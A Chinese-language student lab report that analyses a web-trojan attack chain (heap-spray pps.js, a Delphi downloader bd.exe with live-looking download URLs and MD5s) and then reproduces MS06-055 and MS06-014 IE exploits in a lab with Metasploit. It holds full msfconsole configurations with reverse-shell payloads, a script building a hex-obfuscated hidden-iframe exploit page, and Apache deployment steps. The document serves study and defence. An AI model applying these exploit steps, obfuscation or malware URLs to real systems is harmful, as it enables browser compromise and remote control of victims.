在漏洞触发方式上,pps.js 使用 heap spray(堆喷射)技术提高攻击成功率。脚本首先构造大量由 %u9090 组成的 NOP sled(空操作滑梯),再将 shellcode 附加到内存块后部,并通过 new Array() 创建大量数组元素,使内存中分布大量包含 shellcode 的数据块,从而让内存布局更加可预测。最后,脚本将构造好的超长字符串赋值给 PPS 控件的 Logo 属性,即 pps.Logo = buffer,以触发 ActiveX 控件中的 buffer overflow(缓冲区溢出)漏洞。当程序执行流程被劫持后,EIP(指令指针寄存器)可能跳转到堆中的 NOP sled,最终进入 shellcode 并执行恶意下载逻辑。由此可见,pps.js 是一个结合 ActiveX 控件漏洞、堆喷射和 shellcode 下载执行功能的二阶段漏洞利用脚本。
(4)最后是文件bd.cab
把里面的bd.exe文件解压出来,为百度工具条相关的恶意下载器,攻击链中最终涉及的可执行文件包括:014.exe、bf.exe、pps.exe、bd.exe
对上述出现的可执行文件 URL 计算 MD5
http://down.18dd.net/bb/014.exe → ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe → 268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe → ff59b3b8961f502289c1b4df8c37e2a4
http://down.18dd.net/bb/bd.exe → 994f7810e6a461292cc337bf73981e2c
![]() |
![]() |
|---|---|
![]() |
![]() |
2.2.5 重复以上过程直到这些文件被全部分析完成
⑤重复以上过程直到这些文件被全部分析完成。
使用 WinXP 环境中的超级巡警虚拟机自动脱壳工具对 pps.exe 进行脱壳


然后打开IDA,观察到如下情景,发现其会下载大量其他病毒文件,形成典型的“木马下载器”行为。

这一段内容非常多也非常复杂难懂,所以我做一个如下的总结:
使用 IDA Pro(交互式反汇编工具)对 bd.exe 进行静态分析后,在 Strings window(字符串窗口)中发现了多类可疑字符串信息。首先,程序中出现 SOFTWARE\Borland\Delphi\RTL 字符串,说明该样本很可能使用 Borland Delphi(Delphi 编程语言)开发,并依赖 Delphi runtime library(运行时库)。Delphi 程序在早期恶意代码中较为常见,具有体积较小、开发方便、容易进行简单混淆等特点。
从字符串窗口还可以看到,该程序包含大量连续的远程下载地址,例如 http://down.18dd.net/kl/0.exe 到 http://down.18dd.net/kl/19.exe。这表明该样本具备 downloader(下载器)特征,运行后可能会继续从远程服务器下载多个后续 payload(载荷)文件,从而形成多阶段攻击链。结合前面网页木马分析中发现的多个下载路径可以判断,攻击者通过不同漏洞利用脚本最终投递到同一个恶意程序,再由该程序继续下载更多恶意组件,扩大攻击效果。
此外,样本中还出现了与 Windows service(Windows 服务)相关的 API(应用程序编程接口)字符串,如 QueryServiceConfig2A/W、ChangeServiceConfig2A/W 等,说明程序可能具备查询或修改系统服务配置的能力。这类行为通常用于实现 persistence(持久化),例如创建恶意服务、修改服务启动方式,确保恶意程序在系统重启后仍能继续运行。
在字符串列表中还可以观察到 Kernel32.dll、msvcrt.dll 等系统库相关信息,以及 \program files\internet explorer\IEXPLORE.EXE 等浏览器路径,说明该程序可能会调用底层系统 API,并可能与 IE browser(IE 浏览器)进程存在关联。结合恶意软件下载器的常见行为推测,该样本可能通过调用系统函数实现文件下载、进程创建、进程隐藏或注入等操作,以降低被安全软件发现的概率。
同时,程序中出现了端口号 6000、可执行文件名以及多个可疑网络地址,进一步说明该样本具有明显的 network communication(网络通信)和 remote download(远程下载)行为。字符串中还包含一些异常字符和疑似混淆内容,可能是编码异常、加密字符串或用于干扰分析的无效信息。
综上所述,bd.exe 并不是单纯的普通可执行文件,而是一个具有明显恶意特征的 downloader Trojan(下载型木马)。其主要行为包括:从远程服务器批量下载后续恶意程序、调用系统 API 修改系统服务配置、可能与浏览器进程或系统进程交互,并通过多阶段载荷投递方式进一步扩展攻击能力。结合前面对 1.js、b.js、pps.js 和 bd.cab 的分析可以得出结论:该网页木马攻击链通过多种 ActiveX control(ActiveX 控件)漏洞路径进行投递,最终目标都是下载并运行同一类恶意木马程序,从而实现对受害主机的持续控制和后续恶意代码加载。
2.3 攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2.3.1 搭建环境
攻击方IP地址:192.168.200.64

防守方IP地址:192.168.200.69

2.3.2 单独验证第一个漏洞
使用命令msfconsole打开,配置 MS06-055 模块
使用命令use exploit/windows/browser/ms06_055_vml_method、set payload windows/shell/reverse_tcp、set SRVHOST 0.0.0.0 # 监听所有网卡,保持不变 set SRVPORT 8081 # 监听端口,保持不变 set URIPATH /ms06055 # 漏洞路径,保持不变 set LHOST 192.168.200.64 # 必须填Kali自己的IP set LPORT 4455 # Kali监听的端口,保持不变 set ExitOnSession false /set VERBOSE true

使用命令show options查看配置是否正确

使用命令run -j开始运行,然后让Win2000访问该 URL:http://192.168.200.64:8081/ms06055

然后我们输入命令 sessions -i 1 、ver、 ipconfig

到此处可以确认 MS06-055 URL 本身可独立触发,后续统一入口页只负责隐藏加载和混淆封装。
2.3.3 单独验证第二个漏洞
先清理 Metasploit 中旧任务和旧会话,把所有在运行的进程取消掉,重新开始验证第二个漏洞
使用命令jobs -K、sessions -K

然后开始配置新的内容,使用命令
use exploit/windows/browser/ie_createobject、set SRVHOST 0.0.0.0、set SRVPORT 8082、set URIPATH /ms06014、set payload windows/shell/reverse_tcp、set LHOST 192.168.200.64、set LPORT 5544、set ExitOnSession false、set VERBOSE true

使用命令show options检查一遍

启动任务,使用命令run -j

使用windows 2000访问网址 http://192.168.200.64:8082/ms06014 ,进入对应 session,执行命令验证远程命令执行能力,使用命令sessions -i 2 、ver 、ipconfig

综上所述,两个漏洞 URL 分别验证后,可以确认它们都可以作为独立漏洞利用页面使用。
2.3.4 URL 转换为十六进制字符串
使用 Python 3 将两个漏洞 URL 转换为十六进制编码
使用命令python3 -c 'print("http://192.168.200.64:8081/ms06055".encode().hex())'、python3 -c 'print("http://192.168.200.64:8082/ms06014".encode().hex())',得到十六进制编码分别为687474703a2f2f3139322e3136382e3230302e36343a383038312f6d733036303535、687474703a2f2f3139322e3136382e3230302e36343a383038322f6d733036303134

2.3.5 生成混淆挂马页面
为了构造统一入口页面,本实验使用 Python 脚本生成了 zouyiyang20253918.html。页面中将两个实验 URL 进行 hexadecimal encoding(十六进制编码)处理,并在浏览器端通过 JavaScript(脚本)函数还原为真实访问地址。该方式可以体现 URL 编码与前端解码过程,同时在页面中明确展示两个测试入口,便于在授权实验环境中分别验证 MS06-055 与 MS06-014 两个浏览器漏洞利用模块。
使用以下代码:
cat > gen_html.py << 'EOF'
!/usr/bin/env python3
def hex_encode(s):
return s.encode().hex()
url1 = "http://192.168.200.64:8081/ms06055"
url2 = "http://192.168.200.64:8082/ms06014"
hex1 = hex_encode(url1)
hex2 = hex_encode(url2)
html_template = f'''<!doctype html>
<head> <meta charset="utf-8"> <title>浏览器兼容性实验测试</title> </head> <body> '''with open("zouyiyang20253918.html", "w", encoding="utf-8") as f:
f.write(html_template)
print("HTML 文件已生成: zouyiyang20253918.html")
EOF
python3 gen_html.py
ls -l zouyiyang20253918.html

生成html文件

2.3.5 部署到 Apache Web 服务器
使用代码:
mkdir -p /var/www/html/zouyiyang20253918
cp ~/Desktop/zouyiyang20253918.html /var/www/html/zouyiyang20253918/
systemctl start apache2
systemctl enable apache2
systemctl status apache2 --no-pager
curl http://192.168.200.64/zouyiyang20253918/zouyiyang20253918.html | head -n 5

将生成的 zouyiyang20253918.html 文件复制到 Kali 的 Apache Web server(Apache 网页服务器)目录 /var/www/html/zouyiyang20253918/ 下,并启动 apache2 服务。通过 systemctl status apache2 查看服务状态,结果显示服务处于 active (running) 状态。随后使用 curl http://192.168.200.64/zouyiyang20253918/zouyiyang20253918.html | head -n 5 进行本地访问测试,成功返回 <!doctype html> 等 HTML(超文本标记语言)页面内容,说明统一入口页面已经成功部署并可被访问。
2.3.6 启动 Metasploit 漏洞利用服务
使用命令msfconsole -q启动
使用命令use exploit/windows/browser/ms06_055_vml_method 、set PAYLOAD windows/meterpreter/reverse_tcp 、set LHOST 192.168.200.64 、set SRVHOST 0.0.0.0 、set SRVPORT 8081、 set URIPATH /ms06055 、run -j

继续使用命令msfconsole -q启动
使用命令use exploit/windows/browser/ie_createobject 、set PAYLOAD windows/meterpreter/reverse_tcp 、set LHOST 192.168.200.64、 set SRVHOST 0.0.0.0、 set SRVPORT 8082 、set URIPATH /ms06014、 set LPORT 4445 、run -j

两个漏洞服务必须同时运行,且端口不能冲突。保持这两个终端同时都不关闭。
另外开一个终端,检查端口监听状态,使用命令netstat -tulnp | grep -E '8081|8082',发送欺骗性钓鱼邮件,状态检查完毕。

2.3.7 验证攻击
防守方在 Windows 靶机上打开 Internet Explorer(IE 浏览器),访问 Kali 攻击机 Apache Web server(Apache 网页服务器)中部署的统一入口页面:
http://192.168.200.64/zouyiyang20253918/zouyiyang20253918.html

在 Kali 的 msfconsole 中查看会话。使用命令sessions -l查看

2.3.8作为防守方
挂马入口页面分析,使用命令cat /var/www/html/zouyiyang20253918/zouyiyang20253918.html,查看自己的页面源码

把 hex 字符串解码成真实 URL
使用代码:python3 - <<'PY'
u1 = "687474703a2f2f3139322e3136382e3230302e36343a383038312f6d733036303535"
u2 = "687474703a2f2f3139322e3136382e3230302e36343a383038322f6d733036303134"
print(bytes.fromhex(u1).decode())
print(bytes.fromhex(u2).decode())
PY
通过分析 HTML(超文本标记语言)页面中的 JavaScript(脚本)代码可以发现,页面首先定义了 h2s(h) 函数,用于将 hexadecimal string(十六进制字符串)还原为普通 URL(统一资源定位符)字符串。随后代码中定义了 u1 和 u2 两个变量,这两个变量保存的并不是明文地址,而是经过十六进制编码后的字符串。在 window.onload 页面加载事件触发后,脚本会调用 loadHiddenFrame() 函数创建隐藏 iframe(内嵌框架),并分别将 h2s(u1) 和 h2s(u2) 的解码结果作为 iframe 的访问地址,从而在用户打开入口页面后自动加载两个后续实验资源。

关于漏洞一:MS06-055(VML 栈溢出漏洞),并且下载/ms06055 页面,使用命令curl http://192.168.200.64:8081/ms06055 -o ms06055.html 、cat ms06055.html

总结一下:该文件是通过 curl 从 MS06-055 VML Method(VML 方法漏洞)模块下载得到的漏洞页面源码。源码中可以看到 schemas-microsoft-com:vml 和 behavior:url(#default#VML) 等 VML(矢量标记语言)相关内容,说明页面利用的是 IE 浏览器中的 VML 解析组件。页面内还包含大量通过 unescape() 生成的 %uXXXX 编码数据,属于 shellcode(机器码载荷)和 heap spray(堆喷射)相关内容;同时,页面使用大量 ఌ 字符填充 VML fill method 属性,用于触发 MS06-055 漏洞条件。整体来看,该页面并不是普通 HTML(超文本标记语言)页面,而是 Metasploit 生成的针对 IE VML 漏洞的 exploit page(漏洞利用页面),其作用是在靶机访问后触发漏洞并执行 payload(载荷)。
关于漏洞二:MS06-014(MDAC ActiveX 控件漏洞),下载 /ms06014 页面,使用命令curl http://192.168.200.64:8082/ms06014 -o ms06014.html、cat ms06014.html

总结一下:是通过 curl 下载得到的 MS06-014 / ie_createobject 漏洞页面源码。源码中可以看到大量经过空白字符和字符串拼接混淆的 JavaScript(脚本)代码,其核心逻辑是通过多种方式尝试创建 ActiveXObject(ActiveX 控件对象),例如 WScript.Shell、ADODB.Stream、Microsoft.XMLHTTP 等组件。脚本会根据当前浏览器环境探测可用的 ActiveX control(ActiveX 控件),随后拼接当前页面地址生成 /payload 下载路径,从攻击机服务器获取 payload(载荷)并保存为临时目录下的可执行文件,最后调用 s.Run() 执行该文件。整体来看,该页面是 Metasploit(渗透测试框架)生成的浏览器 exploit page(漏洞利用页面),用于利用旧版 IE 中的 MDAC ActiveX 控件漏洞,在靶机访问后下载并执行反连载荷,从而建立 reverse shell(反向 Shell)会话。
3.学习中遇到的问题及解决
3.1 问题一: 网址访问成功但是一直载荷未执行、无法建立会话

问题描述:在使用 Metasploit(渗透测试框架)中的 windows/browser/ie_createobject 模块进行浏览器渗透实验时,靶机虽然能够访问攻击机生成的恶意网页,但未建立 session(会话);原因是原靶机 Windows XP SP3 + Internet Explorer 8(IE 浏览器)版本较高且可能已修复相关 vulnerability(漏洞),导致 exploit(漏洞利用)页面虽被加载,但 payload(载荷)未成功执行 reverse shell(反向 Shell)连接;
解决方案:更换为更符合漏洞环境的 Windows 2000 + Internet Explorer 5 靶机,并重新配置 LHOST(反连地址)、LPORT(反连端口)、SRVHOST(服务监听地址)等参数,最终成功建立远程 command shell session(命令行会话)。
3.2 问题二:关于两个漏洞一直下载不了页面
一开始尝试了很久,以为是网址的版本更新等问题,后来发现原来是因为两个漏洞因为很久没打开了,可能是电脑默认关闭了,所以导致一直无法下载页面。重新打开后,解决问题。
4.实践总结
本次实践围绕Web浏览器渗透与网页木马分析展开,通过Metasploit框架复现MS06-014(ActiveX漏洞)与MS06-055(VML漏洞)攻击,验证了老旧系统中IE浏览器的安全风险。在取证分析中,通过MD5哈希定位、Base64/XXTEA解密、堆喷射技术分析,还原了“start.html→多层脚本→木马下载”的完整攻击链,并借助IDA Pro识别出bd.exe作为Delphi编写的下载器,具备持久化与控制功能。攻防对抗环节,通过十六进制编码混淆URL并构造统一入口页面,模拟钓鱼攻击,同时从防守方视角完成源码审计与特征还原。实践表明,禁用非必要ActiveX控件、及时修补老旧系统漏洞是防御此类攻击的关键。















浙公网安备 33010602011771号